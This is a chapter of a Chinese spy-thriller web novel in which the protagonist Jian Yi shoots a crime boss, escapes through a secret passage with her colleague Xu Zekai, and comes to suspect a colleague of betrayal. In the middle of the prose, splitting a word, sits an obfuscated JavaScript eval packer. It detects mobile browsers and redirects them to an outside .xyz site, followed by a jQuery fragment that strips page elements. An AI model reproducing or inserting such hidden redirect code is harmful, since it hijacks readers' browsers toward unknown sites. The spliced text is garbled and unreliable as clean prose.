掌权人的脸上没有流露出丝毫震惊的情绪,面容仍旧从容不迫。
简易很讨厌这种人。
讨厌连死亡都能握在手里的那份从容淡定。
该死的,这岂不是让他一辈子都得偿所愿了吗!
罪人不带任何忏悔便下了地狱,这算哪门子的……
……罢了,完成任务才是最首要的。
简易举枪的手没有任何颤抖。她同样平静,好像一位身经百战的刽子手。
最后的最后,她听到男人的一声叹息。
叱咤风云、长袖善舞的男人,遗言却充满了怜悯与惋惜。
他说:“可惜了,你直到最后都狠不下心来。”
“砰!”
脑浆四溅。
简易知道他想说什么。
明明可以靠更狠毒的手段折磨他,却还是选择了最柔和的、一击毙命的方式。
毕竟……她可不擅长拷问啊。
简易没再看椅子上的尸体一眼,打开弹匣确认了一下子弹数量后,走到那面流血的照片墙前。
实话说,开枪前,她心里没底。
她只是凭借沈亮凭空消失这一点,猜测到房间里一定有密道,但不清楚触发条件和具体位置。
男人抚摸照片时,简易才突然发现——这些照片只有相框,没有保护玻璃。
没有保护玻璃也没有塑封的照片,寿命长不到哪儿去,但却长久以来维持着光鲜。
简易不信这是粗心大意。
她的眼睛透过相纸,隐约察觉到了自照片背后传来的视线。
是谁呢?一个籍籍无名的手下?还是……
简易与男人对话,吸引着两端的注意力,慢慢移动到视线的垂直方向,朝照片射出子弹。
只是试探性的一击,没想到歪打正着。
惨叫声出自一位中年男子。
简易原本都做好了迎接从四面八方涌入的黑衣人的打算,没想到四周依旧静悄悄的。
——他是真的想死。
还是被简易亲手杀死。
无论结果如何,简易都没想过今天能活着从这里走出去,能多带一个是一个,何况是这个层级的、罪恶滔天的罪犯,死了就是为民除害。
一命换一命,很划算了。
确认了一下,手枪里的子弹足够,且没有任何被动过手脚的痕迹。
简易决定把最后一枚子弹留给自己。
在房间里转悠了好一会儿,简易终于找到了开启机关的钥匙,打开了暗藏玄机的照片墙。
入口不出意料在转椅后面,靠扶手两侧的隐藏按钮开启。门不大,刚刚能钻进去的程度,身材臃肿一点就会卡住出不来了。
重点是,除了推开时,没有别的声音。应该是和正门打开时产生的声音撞在了一起,顺利隐藏了过去。
这很吻合简易的记忆。
沈亮年纪不小了,身子倒是灵活,还能趁简易转过身去的几秒钟溜走。
也可能是被一人高的转椅挡住了身影。
简易抬头看了看到自己额头的椅子,暗自感叹。
小身板可真方便啊。
她闪身,钻进了密道里。
现在简易天不怕地不怕,直接是奔着送死去的,什么都阻止不了她前进的步伐。
转个弯后,她看到了横亘在地的一具尸体。
看到尸体的脸时,简易眼底划过一丝错愕。但很快,她便想通了。
……这可能就是沈亮能坐在市长位置上三十多年的原因吧。
原本的蒲宁市,除了市长沈亮外,都经历过替换。唯有他,死死地守住自己的宝座,几十年未曾改变。
忠诚到亲自上阵守卫老大的安全,他当真是一位训狗高手。
简易走上前,拿走了沈亮手里握着的手枪,一股违和感油然而生。
真的有这么简单吗?
在蒲宁市这么混乱的情况下跻身前列的人才,真的会甘愿放弃自己的生命,陪老大一起送死吗?
明明他现在,什么都不缺了。
简易思忖半晌,一句话倏地跳入脑海。
——再正直的人也经受不起棍棒敲打。继续贿赂,他总有一天会降服的。
“贿赂”。“敲打”。
他当初,也是这么对待安钰好的吗?
简易心里多少有了猜测。她抬头,朝密道看不到尽头的黑暗望去,握紧了左右手的两把枪。
走吧。大不了一命呜呼。
/
从离开地下据点起,徐泽凯就一直在等待简易的消息。
但他也清楚,深入狼窝面对头狼的危险度有多高,结局必定非死即残。
没关系。只要她活着,只要能成功撑到支援赶来,就能把她送出蒲宁市。
这些年来,简易做得已经足够多了。没有人会追究她因故不参与最终行动的责任。
实在不行……
徐泽凯咬牙,将现状发送给了上级,并袒露了想要施以援手的意愿。
十年磨一剑,他们已经部署得差不多了,将最终行动提前也未尝不可。
但有人从一旁,打断了他的动作。
“住手。”安钰好声音淡然,紧紧地攥住他的手腕,“别白费力气了。”
“白费力气?!”徐泽凯脑袋里的炸弹立刻被点燃引爆,“难道我们只能眼睁睁看着?眼睁睁等她被射成筛子?”
“就算派出支援,”安钰好一字一句,咬字清晰地说道,“那个男人真想对简易做什么,我们也阻止不了。
“比起她,你更应该关心你自己。潜心蛰伏这么多年,这才刚刚上位,万事必须小心谨慎,现在急着暴露,只会得不偿失。”
徐泽凯不甘心地咬牙,挣开安钰好的手,拧眉望向遥遥的夜色深处。
漠然的女声再度响起:“不要多管闲事。简易选择张扬随性的行动风格时便已做好了牺牲的准备。要是因为她,对收尾行动造成了不利影响,不就辜负她的一番豪情了吗?”
“……没有任何人,”徐泽凯咬牙切齿地回应,“从一开始就该被放弃。
“我会在这里等她的消息,你回去吧,‘前辈’。我们现在身份特殊,挨得太近容易让其他人起疑,还是尽量避开吧。”
“……”
还挺记仇。
安钰好无声笑了笑,打开车门下了车。
她的身影同样消失在无边夜色里。
徐泽凯紧盯着后视镜,确认她已经走远后,打开了随身携带的定位系统。
嗯,坐标确实越走越远了。
他松了口气,又摸出了一个迷你的、神似汽车遥控器的黑色小玩意儿,按了启动。
这是智
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643252|165435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能无线信号探测器,用来检测定位器和针孔摄像头。
徐泽凯握着检查了一遍车内,连后备箱都没有放过,这才放心。
他信不过安钰好。
之前就和简易提过一回,简易说她会想办法试探安钰好,之后特地委派了几个机密任务,都十分完美的完成了。
为了让他安心,相关的任务内容都拿给他看过,但他还是不太服气。
几个无关痛痒的任务,就算机密,就算重要,也没有简易做的直接掀翻区长位置来得直接。
简而言之——剜肉了,但剜得不够多,剜得不够痛。
徐泽凯从安钰好身上,看不到他和简易那种愿意抛弃一切的决心。
“砰!”
听到枪声,徐泽凯猛地抬起头,不可思议地望向前方。
这声音很轻,若非这里的夜晚足够安静,他还真不一定能听到。
“砰!砰!砰!”
又是一连串枪响,并且一声比一声近。
徐泽凯立刻进入转态,打开车上安装的夜视模式,透过屏幕朝建筑里看去。
屏幕上很快出现一抹高速移动的暗色。
他没有犹豫,启动引擎,一脚将油门踩到了底,直直地冲了过去,撞飞了几个持枪的黑衣人,停到简易跟前。
“上车!”
他一眼就扫到了简易腹部流血不止的伤口,打开车门拉了她一把。
“你……咳咳咳!怎么脸都不蒙?”
上车后,简易开口说的第一句话就是埋怨他的粗心大意。
“少废话!”
徐泽凯转动方向盘,极速转弯,朝大道上行驶而去。
“你该感谢我留下来接应你!”
“这算……哪门子的接应?”
惹麻烦还差不多!
简易痛得倒吸凉气,腹部因枪弹擦伤造成的伤口还在不要命的流血,痛觉神经紧绷着,教训的话都有气无力。
“医药包呢?我自己处理一下。”
“就你面前的隔板里。”
徐泽凯分心回应了一句,瞅了一眼后视镜。
他撞飞那几个人后,竟然没有人再追出来。预想中的激烈交战没有出现,他们平安地驶离了那栋建筑。
确认后面没有尾巴跟着后,徐泽凯长长地松了口气,总算有空开口询问了:“到底发生了什么?”
简易掀起上衣,刚给伤口做了紧急处理,正在拿绷带包扎之中:“简而言之,我把那男人杀了。”
徐泽凯:“?”
徐泽凯:“你把谁杀了?沈亮还是……”
简易:“当然是幕后大Boss了。”
徐泽凯:“!!”
“别急着惊讶。”简易忍痛踹了他一脚,“老娘快疼死了,你要是不想痛失一位精明能干的同僚,就赶紧把我送医院去。”
不用她说,徐泽凯一开始的目的地就是医院。
“左丘恒工作的医院就在附近,我把他叫出来打掩护吧。”
“随便……嘶,随便你。”
简易疼得一句话都不想多说,只最后嘱咐了一句:“记住,安钰好要是问起来了,敷衍过去。我眯一会儿。”
徐泽凯握住方向盘的手倏地攥紧:“你的意思是?”
简易点点头,简明扼要道:“不出意料的话,她背叛了。”